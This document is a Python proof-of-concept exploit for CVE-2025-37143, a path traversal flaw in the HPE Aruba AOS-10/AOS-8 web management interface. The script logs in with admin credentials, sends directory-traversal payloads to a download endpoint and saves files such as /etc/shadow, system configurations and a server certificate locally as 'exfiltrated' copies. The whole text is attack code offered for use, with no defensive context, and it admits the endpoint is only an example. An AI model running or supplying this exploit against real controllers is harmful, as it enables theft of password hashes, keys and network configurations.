CVE-2025-37143

# CVE-2025-37143 - HPE Aruba AOS-10/AOS-8 Arbitrary File Download PoC # Exploit demonstrates path traversal in web management interface # Requires authenticated high-privilege credentials import requests from urllib.parse import quote TARGET_URL = "https://<target-aruba-controller>/" USERNAME = "admin" PASSWORD = "<password>" # Files of interest to exfiltrate SENSITIVE_FILES = [ "/etc/passwd", "/etc/shadow", "/config/system.cfg", "/config/backup.cfg", "/flash/cert/server.pem", "/flash/config/management.cfg", "/tmp/debug.log" ] def exploit_path_traversal(session, target_file): """ Exploit path traversal to download arbitrary files The vulnerable endpoint does not sanitize file path parameters """ # Path traversal payload - traverse out of web root traversal_payload = "../../../../../../.." + target_file encoded_payload = quote(traversal_payload, safe='') # Vulnerable endpoint (example - actual endpoint may vary) endpoint = f"{TARGET_URL}screens/cmnutil/execCommand/download" params = { "file": encoded_payload, "action": "download" } try: response = session.get(endpoint, params=params, verify=False, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully downloaded: {target_file}") print(f"[+] Content preview: {response.text[:200]}") return response.content else: print(f"[-] Failed to download: {target_file}") return None except Exception as e: print(f"[-] Error: {e}") return None def main(): session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{TARGET_URL}screens/login" login_data = { "username": USERNAME, "password": PASSWORD } print("[*] Authenticating to Aruba Controller...") resp = session.post(login_url, data=login_data, verify=False) if resp.status_code == 200 and "login" not in resp.url: print("[+] Authentication successful") # Step 2: Exploit path traversal to download sensitive files for target_file in SENSITIVE_FILES: print(f"\n[*] Attempting to download: {target_file}") content = exploit_path_traversal(session, target_file) if content: # Save exfiltrated content filename = target_file.replace("/", "_") with open(f"exfiltrated_{filename}", "wb") as f: f.write(content) print(f"[+] Saved to: exfiltrated_{filename}") else: print("[-] Authentication failed") if __name__ == "__main__": main()

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